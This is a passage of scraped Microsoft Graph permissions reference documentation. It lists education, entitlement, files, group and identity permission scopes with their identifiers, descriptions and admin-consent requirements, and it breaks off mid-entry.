    Identifier-8523895c-6081-45bf-8a5d-f062a2f12c9f
    DisplayText-Read education app settings
    Description-Read the state and settings of all Microsoft education apps on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduAdministration.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7c9db06a-ec2d-4e7b-a592-5a1e30992566-
    DisplayTextRead Education app settings-
    DescriptionRead the state and settings of all Microsoft education apps.-
    AdminConsentRequiredYes-
    -
    -

    EduAdministration.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-63589852-04e3-46b4-bae9-15d5b1050748
    DisplayText-Manage education app settings
    Description-Manage the state and settings of all Microsoft education apps on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduAdministration.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9bc431c3-b8bc-4a8d-a219-40f10f92eff6-
    DisplayTextManage education app settings-
    DescriptionManage the state and settings of all Microsoft education apps.-
    AdminConsentRequiredYes-
    -
    -

    EduAssignments.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-091460c9-9c4a-49b2-81ef-1f3d852acce2
    DisplayText-Read users' class assignments and their grades
    Description-Allows the app to read assignments and their grades on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduAssignments.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4c37e1b6-35a1-43bf-926a-6f30f2cdf585-
    DisplayTextRead all class assignments with grades-
    DescriptionAllows the app to read all class assignments with grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduAssignments.ReadBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-c0b0103b-c053-4b2e-9973-9f3a544ec9b8
    DisplayText-Read users' class assignments without grades
    Description-Allows the app to read assignments without grades on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduAssignments.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6e0a958b-b7fc-4348-b7c4-a6ab9fd3dd0e-
    DisplayTextRead all class assignments without grades-
    DescriptionAllows the app to read all class assignments without grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduAssignments.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2f233e90-164b-4501-8bce-31af2559a2d3
    DisplayText-Read and write users' class assignments and their grades
    Description-Allows the app to read and write assignments and their grades on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduAssignments.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0d22204b-6cad-4dd0-8362-3e3f2ae699d9-
    DisplayTextCreate, read, update and delete all class assignments with grades-
    DescriptionAllows the app to create, read, update and delete all class assignments with grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduAssignments.ReadWriteBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2ef770a1-622a-47c4-93ee-28d6adbed3a0
    DisplayText-Read and write users' class assignments without grades
    Description-Allows the app to read and write assignments without grades on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduAssignments.ReadWriteBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf431cc63-a2de-48c4-8054-a34bc093af84-
    DisplayTextCreate, read, update and delete all class assignments without grades-
    DescriptionAllows the app to create, read, update and delete all class assignments without grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduCurricula.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-484859e8-b9e2-4e92-b910-84db35dadd29
    DisplayText-Read the user's class modules and resources
    Description-Allows the app to read the user's modules and resources on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    EduCurricula.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6cdb464c-3a03-40f8-900b-4cb7ea1da9c0-
    DisplayTextRead all class modules and resources-
    DescriptionAllows the app to read all modules and resources, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduCurricula.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-4793c53b-df34-44fd-8d26-d15c517732f5
    DisplayText-Read and write the user's class modules and resources
    Description-Allows the app to read and write user's modules and resources on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    EduCurricula.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6a0c2318-d59d-4c7d-bf2e-5f3902dc2593-
    DisplayTextRead and write all class modules and resources-
    DescriptionAllows the app to read and write all modules and resources, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduReports-Reading.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierad248c30-1919-40c8-b3d2-304481894e88-
    DisplayTextRead all tenant reading assignments submissions data-
    DescriptionAllows the app to read all tenant users reading assignments submissions data without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduReports-Reading.ReadAnonymous.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier040330d7-be7e-4130-b349-a6eb3a56e2f8-
    DisplayTextRead all tenant reading assignments submissions data-
    DescriptionAllows the app to read all tenant users reading assignments submissions data (excludes student-identifying information) without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduReports-Reflect.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc5debf73-bdc8-473d-bf07-f4074ad05f71-
    DisplayTextRead all tenant reflect check-ins submissions data-
    DescriptionAllows the app to read all tenant users reflect check-ins submissions data without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduReports-Reflect.ReadAnonymous.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf5d05dba-7ef0-46fc-b62c-a7282555f428-
    DisplayTextRead all tenant reflect check-ins submissions data-
    DescriptionAllows the app to read all tenant users reflect check-ins submissions data (excludes responder-identifying information) without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    EduRoster.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-a4389601-22d9-4096-ac18-36a927199112
    DisplayText-Read users' view of the roster
    Description-Allows the app to read the structure of schools and classes in an organization's roster and education-specific information about users to be read on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduRoster.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere0ac9e1b-cb65-4fc5-87c5-1a8bc181f648-
    DisplayTextRead the organization's roster-
    DescriptionAllows the app to read the structure of schools and classes in the organization's roster and education-specific information about all users to be read.-
    AdminConsentRequiredYes-
    -
    -

    EduRoster.ReadBasic

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5d186531-d1bf-4f07-8cea-7c42119e1bd9
    DisplayText-Read a limited subset of users' view of the roster
    Description-Allows the app to read a limited subset of the properties from the structure of schools and classes in an organization's roster and a limited subset of properties about users to be read on behalf of the user. Includes name, status, education role, email address and photo.
    AdminConsentRequired-Yes
    -
    -

    EduRoster.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0d412a8c-a06c-439f-b3ec-8abcf54d2f96-
    DisplayTextRead a limited subset of the organization's roster-
    DescriptionAllows the app to read a limited subset of properties from both the structure of schools and classes in the organization's roster and education-specific information about all users. Includes name, status, role, email address and photo.-
    AdminConsentRequiredYes-
    -
    -

    EduRoster.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-359e19a6-e3fa-4d7f-bcab-d28ec592b51e
    DisplayText-Read and write users' view of the roster
    Description-Allows the app to read and write the structure of schools and classes in an organization's roster and education-specific information about users to be read and written on behalf of the user.
    AdminConsentRequired-Yes
    -
    -

    EduRoster.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd1808e82-ce13-47af-ae0d-f9b254e6d58a-
    DisplayTextRead and write the organization's roster-
    DescriptionAllows the app to read and write the structure of schools and classes in the organization's roster and education-specific information about all users to be read and written.-
    AdminConsentRequiredYes-
    -
    -

    email

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-64a6cdd6-aab1-4aaf-94b8-3cc8405e90d0
    DisplayText-View users' email address
    Description-Allows the app to read your users' primary email address
    AdminConsentRequired-No
    -

    EntitlementManagement.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc74fd47d-ed3c-45c3-9a9e-b8676de685d25449aa12-1393-4ea2-a7c7-d0e06c1a56b2
    DisplayTextRead all entitlement management resourcesRead all entitlement management resources
    DescriptionAllows the app to read access packages and related entitlement management resources without a signed-in user.Allows the app to read access packages and related entitlement management resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    EntitlementManagement.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9acd699f-1e81-4958-b001-93b1d2506e19ae7a573d-81d7-432b-ad44-4ed5c9d89038
    DisplayTextRead and write all entitlement management resourcesRead and write entitlement management resources
    DescriptionAllows the app to read and write access packages and related entitlement management resources without a signed-in user.Allows the app to request access to and management of access packages and related entitlement management resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    EntitlementMgmt-SubjectAccess.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-e9fdcbbb-8807-410f-b9ec-8d5468c7c2ac
    DisplayText-Read and write entitlement management resources related to self-service operations
    Description-Allows the app to manage self-service entitlement management resources on behalf of the signed-in user. This includes operations such as requesting access and approving access of others.
    AdminConsentRequired-No
    -
    -

    EventListener.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb7f6385c-6ce6-4639-a480-e23c42ed9784f7dd3bed-5eec-48da-bc73-1c0ef50bc9a1
    DisplayTextRead all authentication event listenersRead your organization's authentication event listeners
    DescriptionAllows the app to read your organization's authentication event listeners without a signed-in user.Allows the app to read your organization's authentication event listeners on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    EventListener.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0edf5e9e-4ce8-468a-8432-d08631d18c43d11625a6-fe21-4fc6-8d3d-063eba5525ad
    DisplayTextRead and write all authentication event listenersRead and write your organization's authentication event listeners
    DescriptionAllows the app to read or write your organization's authentication event listeners without a signed-in user.Allows the app to read or write your organization's authentication event listeners on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    EWS.AccessAsUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-9769c687-087d-48ac-9cb3-c37dde652038
    DisplayText-Access mailboxes as the signed-in user via Exchange Web Services
    Description-Allows the app to have the same access to mailboxes as the signed-in user via Exchange Web Services.
    AdminConsentRequired-No
    -
    -

    ExternalConnection.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1914711b-a1cb-4793-b019-c2ce0ed21b8ca38267a5-26b6-4d76-9493-935b7599116b
    DisplayTextRead all external connectionsRead all external connections
    DescriptionAllows the app to read all external connections without a signed-in user.Allows the app to read all external connections on behalf of a signed-in user. The signed-in user must be an administrator.
    AdminConsentRequiredYesYes
    -
    -

    ExternalConnection.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier34c37bc0-2b40-4d5e-85e1-2365cd256d79bbbbd9b3-3566-4931-ac37-2b2180d9e334
    DisplayTextRead and write all external connectionsRead and write all external connections
    DescriptionAllows the app to read and write all external connections without a signed-in user.Allows the app to read and write all external connections on behalf of a signed-in user. The signed-in user must be an administrator.
    AdminConsentRequiredYesYes
    -
    -

    ExternalConnection.ReadWrite.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf431331c-49a6-499f-be1c-62af19c34a9d4082ad95-c812-4f02-be92-780c4c4f1830
    DisplayTextRead and write external connectionsRead and write external connections
    DescriptionAllows the app to read and write external connections without a signed-in user. The app can only read and write external connections that it is authorized to, or it can create new external connections.Allows the app to read and write settings of external connections on behalf of a signed-in user. The signed-in user must be an administrator. The app can only read and write settings of connections that it is authorized to.
    AdminConsentRequiredYesYes
    -
    -

    ExternalItem.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7a7cffad-37d2-4f48-afa4-c6ab129adcc2922f9392-b1b7-483c-a4be-0089be7704fb
    DisplayTextRead all external itemsRead items in external datasets
    DescriptionAllows the app to read all external items without a signed-in user.Allow the app to read external datasets and content, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ExternalItem.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier38c3d6ee-69ee-422f-b954-e17819665354b02c54f8-eb48-4c50-a9f0-a149e5a2012f
    DisplayTextRead and write items in external datasetsRead and write all external items
    DescriptionAllow the app to read or write items in all external datasets that the app is authorized to accessAllows the app to read and write all external items on behalf of a signed-in user. The signed-in user must be an administrator.
    AdminConsentRequiredYesYes
    -
    -

    ExternalItem.ReadWrite.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8116ae0f-55c2-452d-9944-d18420f5b2c84367b9d7-cee7-4995-853c-a0bdfe95c1f9
    DisplayTextRead and write external itemsRead and write external items
    DescriptionAllows the app to read and write external items without a signed-in user. The app can only read external items of the connection that it is authorized to.Allows the app to read and write external items on behalf of a signed-in user. The signed-in user must be an administrator. The app can only read external items of the connection that it is authorized to.
    AdminConsentRequiredYesYes
    -
    -

    ExternalUserProfile.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1987d7a0-d602-4262-ab90-cfdd43b3754547167bec-55a7-4caf-9ecc-8d4566e3cfb1
    DisplayTextRead all external user profilesRead external user profiles
    DescriptionAllows the app to read available properties of external user profiles, without a signed-in user.Allows the app to read available properties of external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    ExternalUserProfile.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier761327c9-d819-4c08-9a5f-874cd2826608c6068dc7-a791-46a4-a811-b8228e6649ab
    DisplayTextRead and write all external user profilesRead and write external user profiles
    DescriptionAllows the app to read and write available properties of external user profiles, without a signed-in user.Allows the app to read and write available properties of external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Family.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-3a1e4806-a744-4c70-80fc-223bf8582c46
    DisplayText-Read your family info
    Description-Allows the app to read your family information, members and their basic profile.
    AdminConsentRequired-No
    -
    -

    Files.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-10465720-29dd-4523-a11a-6a75c743c9d9
    DisplayText-Read user files
    Description-Allows the app to read the signed-in user's files.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Files.Read delegated permission is available for consent in personal Microsoft accounts.

    - -

    For personal accounts, Files.Read also grant access to files shared with the signed-in user.

    -
    -

    Files.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier01d4889c-1287-42c6-ac1f-5d1e02578ef6df85f4d6-205c-4ac5-a5ea-6bf408dba283
    DisplayTextRead files in all site collectionsRead all files that user can access
    DescriptionAllows the app to read all files in all site collections without a signed in user.Allows the app to read all files the signed-in user can access.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Files.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Files.Read.Selected

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5447fe39-cb82-4c1a-b977-520e67e724eb
    DisplayText-Read files that the user selects (preview)
    Description-(Preview) Allows the app to read files that the user selects. The app has access for several hours after the user selects a file.
    AdminConsentRequired-No
    - -

    The Files.Read.Selected delegated permission is only valid on work or school accounts and is only exposed for working with Office 365 file handlers (v1.0). It should not be used for directly calling Microsoft Graph APIs.

    -
    -

    Files.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5c28f0bf-8a70-41f1-8ab2-9032436ddb65
    DisplayText-Have full access to user files
    Description-Allows the app to read, create, update and delete the signed-in user's files.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Files.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    - -

    For personal accounts, Files.ReadWrite also grant access to files shared with the signed-in user.

    -
    -

    Files.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier75359482-378d-4052-8f01-80520e7db3cd863451e7-0667-486c-a5d6-d135439485f0
    DisplayTextRead and write files in all site collectionsHave full access to all files user can access
    DescriptionAllows the app to read, create, update and delete all files in all site collections without a signed in user.Allows the app to read, create, update and delete all files the signed-in user can access.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Files.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Files.ReadWrite.AppFolder

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb47b160b-1054-4efd-9ca0-e2f6146960868019c312-3263-48e6-825e-2b833497195b
    DisplayTextHave full access to the application's folder without a signed in user.Have full access to the application's folder (preview)
    DescriptionAllows the app to read, create, update and delete files in the application's folder without a signed in user.(Preview) Allows the app to read, create, update and delete files in the application's folder.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Files.ReadWrite.AppFolder delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Files.ReadWrite.Selected

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-17dde5bd-8c17-420f-a486-969730c1b827
    DisplayText-Read and write files that the user selects (preview)
    Description-(Preview) Allows the app to read and write files that the user selects. The app has access for several hours after the user selects a file.
    AdminConsentRequired-No
    - -

    The Files.ReadWrite.Selected delegated permission is only valid on work or school accounts and is only exposed for working with Office 365 file handlers (v1.0). It should not be used for directly calling Microsoft Graph APIs.

    -
    -

    Files.SelectedOperations.Selected

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbd61925e-3bf4-4d62-bc0b-06b06c96d95cef2779dc-ef1b-4211-8310-8a0ac2450081
    DisplayTextAccess selected Files without a signed in user.Access selected Files, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of files without a signed in user. The specific files and the permissions granted will be configured in SharePoint Online or OneDrive.Allow the application to access files explicitly permissioned to the application on behalf of the signed in user. The specific files and the permissions granted will be configured in SharePoint Online or OneDrive.
    AdminConsentRequiredYesYes
    -
    -

    FileStorageContainer.Selected

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier40dc41bc-0f7e-42ff-89bd-d9516947e474085ca537-6565-41c2-aca7-db852babc212
    DisplayTextAccess selected file storage containersAccess selected file storage containers
    DescriptionAllows the application to utilize the file storage container platform to manage containers, without a signed-in user. The specific file storage containers and the permissions granted to them will be configured in Microsoft 365 by the developer of each container type.Allows the application to utilize the file storage container platform to manage containers on behalf of the signed in user. The specific file storage containers and the permissions granted to them will be configured in Microsoft 365 by the developer of each container type.
    AdminConsentRequiredYesYes
    -
    -

    Financials.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f534bf13-55d4-45a9-8f3c-c92fe64d6131
    DisplayText-Read and write financials data
    Description-Allows the app to read and write financials data on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    Goals-Export.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-092211d9-ca1a-427b-813e-b79c7653fe71
    DisplayText-Read all goals and export jobs that a user can access
    Description-Allows the app to read all goals and export jobs that the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    Goals-Export.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2edeb9fd-4228-480c-a26d-2ed52011cf3d
    DisplayText-Have full access to all goals and export jobs a user can access
    Description-Allows the app to read goals, create and read export jobs that the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    Group.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbf7b1a76-6e77-406b-b258-bf5c7720e98f-
    DisplayTextCreate groups-
    DescriptionAllows the app to create groups without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Group.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5b567255-7703-4780-807c-7be8301ae99b5f8c59db-677d-491f-a6b8-5f174b11ec1d
    DisplayTextRead all groupsRead all groups
    DescriptionAllows the app to read group properties and memberships, and read conversations for all groups, without a signed-in user.Allows the app to list groups, and to read their properties and all group memberships on behalf of the signed-in user. Also allows the app to read calendar, conversations, files, and other group content for all groups the signed-in user can access.
    AdminConsentRequiredYesYes
    - -

    For Microsoft 365 groups, Group.* permissions grant the app access to the contents of the group; for example, conversations, files, notes, and so on.

    -

    In some cases, an app might need extra permissions to read some group properties like member and memberOf. For example, if a group has one or more service principals as members, the app also needs permissions to read service principals, otherwise Microsoft Graph returns an error or limited information. To read the full information, the app also needs permissions in the organization to read service principals. For more information, see Limited information returned for inaccessible member objects.

    -

    Group.* permissions are used to control access to Microsoft Teams resources and APIs. Personal Microsoft accounts are not supported.

    -

    Group.* permissions are also used to control access to Microsoft Planner resources and APIs. Only delegated permissions are supported for Microsoft Planner APIs; application permissions are not supported. Personal Microsoft accounts are not supported.

    -
    -

    Group.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier62a82d76-70ea-41e2-9197-370581804d094e46008b-f24c-477d-8fff-7bb4ec7aafe0
    DisplayTextRead and write all groupsRead and write all groups
    DescriptionAllows the app to create groups, read all group properties and memberships, update group properties and memberships, and delete groups. Also allows the app to read and write conversations. All of these operations can be performed by the app without a signed-in user.Allows the app to create groups and read all group properties and memberships on behalf of the signed-in user. Additionally allows group owners to manage their groups and allows group members to update group content.
    AdminConsentRequiredYesYes
    - -

    For Microsoft 365 groups, Group.* permissions grant the app access to the contents of the group; for example, conversations, files, notes, and so on.

    -

    In some cases, an app may need extra properties to update some group properties and relationships like member and memberOf. For example, to add a servicePrincipal object as a member, the app also needs permissions to write the service principal, otherwise Microsoft Graph returns an error. For more information, see Limited information returned for inaccessible member objects.

    -

    Group.* permissions are used to control access to Microsoft Teams resources and APIs. Personal Microsoft accounts are not supported.

    -

    Group.* permissions are also used to control access to Microsoft Planner resources and APIs. Only delegated permissions are supported for Microsoft Planner APIs; application permissions are not supported. Personal Microsoft accounts are not supported.

    -
    -

    GroupMember.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier98830695-27a2-44f7-8c18-0c3ebc9698f6bc024368-1153-4739-b217-4326f2e966d0
    DisplayTextRead all group membershipsRead group memberships
    DescriptionAllows the app to read memberships and basic group properties for all groups without a signed-in user.Allows the app to list groups, read basic group properties and read membership of all groups the signed-in user has access to.
    AdminConsentRequiredYesYes
    -
    -

    GroupMember.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdbaae8cf-10b5-4b86-a4a1-f871c94c6695f81125ac-d3b7-4573-a3b2-7099cc39df9e
    DisplayTextRead and write all group membershipsRead and write group memberships
    DescriptionAllows the app to list groups, read basic properties, read and update the membership of the groups this app has access to without a signed-in user. Group properties and owners cannot be updated and groups cannot be deleted.Allows the app to list groups, read basic properties, read and update the membership of the groups the signed-in user has access to. Group properties and owners cannot be updated and groups cannot be deleted.
    AdminConsentRequiredYesYes
    -
    -

    HealthMonitoringAlert.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5183ed5d-b7f8-4e9a-915e-dafb46b9cb6274b4ff32-4917-4536-a66d-38a4861e6220
    DisplayTextRead all scenario health monitoring alertRead all scenario health monitoring alerts
    DescriptionAllows the app to read all scenario health monitoring alerts, without a signed-in user.Allows the app to read all scenario health monitoring alerts
    AdminConsentRequiredYesYes
    -
    -

    HealthMonitoringAlert.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierac29eb50-f2f9-4518-a117-4bef18e84c7db7c60f27-2195-4d5f-96a7-6b98bdfd9664
    DisplayTextRead and write all scenario monitoring alertsRead and write all scenario monitoring alerts
    DescriptionAllows the app to read and write all scenario monitoring alerts, without a signed-in user.Allows the app to read and write all scenario monitoring alerts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    HealthMonitoringAlertConfig.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbb424d73-e898-4c97-9d42-688c32810003fb873030-8626-47e6-96ff-8a5bff3b725f
    DisplayTextRead all scenario health monitoring alert configurationsRead all scenario health monitoring alert configurations
    DescriptionAllows the app to read all scenario health monitoring alert configurations, without a signed-in user.Allows the app to read all scenario health monitoring alert configurations
    AdminConsentRequiredYesYes
    -
    -

    HealthMonitoringAlertConfig.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier432e76f0-8af6-4315-a853-66ab9538f480b3e5ebc6-1c23-4337-8286-3f27165addb4
    DisplayTextRead and write all scenario monitoring alertsRead and write all scenario monitoring alert configurations.
    DescriptionAllows the app to read and write all scenario monitoring alerts, without a signed-in user.Allows the app to read and write all scenario monitoring alert configurations, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IdentityProvider.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere321f0bb-e7f7-481e-bb28-e3b0b32d4bd043781733-b5a7-4d1b-98f4-e8edff23e1a9
    DisplayTextRead identity providersRead identity providers
    DescriptionAllows the app to read your organization's identity (authentication) providers' properties without a signed in user.Allows the app to read your organization's identity (authentication) providers' properties on behalf of the user.
    AdminConsentRequiredYesYes
    -
    -

    IdentityProvider.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier90db2b9a-d928-4d33-a4dd-8442ae3d41e4f13ce604-1677-429f-90bd-8a10b9f01325
    DisplayTextRead and write identity providersRead and write identity providers
    DescriptionAllows the app to read and write your organization's identity (authentication) providers' properties without a signed in user.Allows the app to read and write your organization's identity (authentication) providers' properties on behalf of the user.
    AdminConsentRequiredYesYes
    -
    -

    IdentityRiskEvent.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6e472fd1-ad78-48da-a0f0-97ab2c6b769e8f6a01e7-0391-4ee5-aa22-a3af122cef27
    DisplayTextRead all identity risk event informationRead identity risk event information
    DescriptionAllows the app to read the identity risk event information for your organization without a signed in user.Allows the app to read identity risk event information for all users in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    IdentityRiskEvent.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdb06fb33-1953-4b7b-a2ac-f1e2c854f7ae9e4862a5-b68f-479e-848a-4e07e25c9916
    DisplayTextRead and write all risk detection informationRead and write risk event information
    DescriptionAllows the app to read and update identity risk detection information for your organization without a signed-in user. Update operations include confirming risk event detections. Allows the app to read and update identity risk event information for all users in your organization on behalf of the signed-in user. Update operations include confirming risk event detections. 
    AdminConsentRequiredYesYes
    -
    -

    IdentityRiskyServicePrincipal.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier607c7344-0eed-41e5-823a-9695ebe1b7b0ea5c4ab0-5a73-4f35-8272-5d5337884e5d
    DisplayTextRead all identity risky service principal informationRead all identity risky service principal information
